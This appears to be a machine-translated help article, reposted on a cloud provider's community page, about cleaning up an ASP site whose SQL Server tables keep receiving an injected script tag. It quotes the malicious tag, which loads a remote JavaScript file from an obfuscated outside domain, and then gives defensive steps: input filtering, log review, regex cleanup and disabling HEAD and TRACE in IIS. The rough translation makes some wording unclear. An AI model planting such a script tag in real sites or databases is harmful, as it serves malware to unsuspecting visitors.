Solve the problem that the table of SQL database is injected http://3%62omb.com/c.js under ASP

Source: Internet
Author: User
Tags filter sql regular expression

The Web site is ASP, the database is MSSQL2000, and is often injected with the following characters.

<script src=http://3%62omb.com/c.js></script>

This phenomenon shows that the site's ASP program has injected loopholes, to solve the problem, must be saved to the database before the filter, as well as form submission filter, URL filtering. In addition, by checking the log file to find the cause of the vulnerability and then timely repair and repair, and then replace the regular expression <script src=http://3%62omb.com/c.js></script> at the same time, in the server IIS, Find this hanging horse site properties, home directory-Configuration---found. asp and. aspx innuendo, remove the inside head and trace operations, only get and post can be resolved,

Note Removing head operations and trace operations do not affect normal Web access at all. Normal Web sites do not require both operations.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.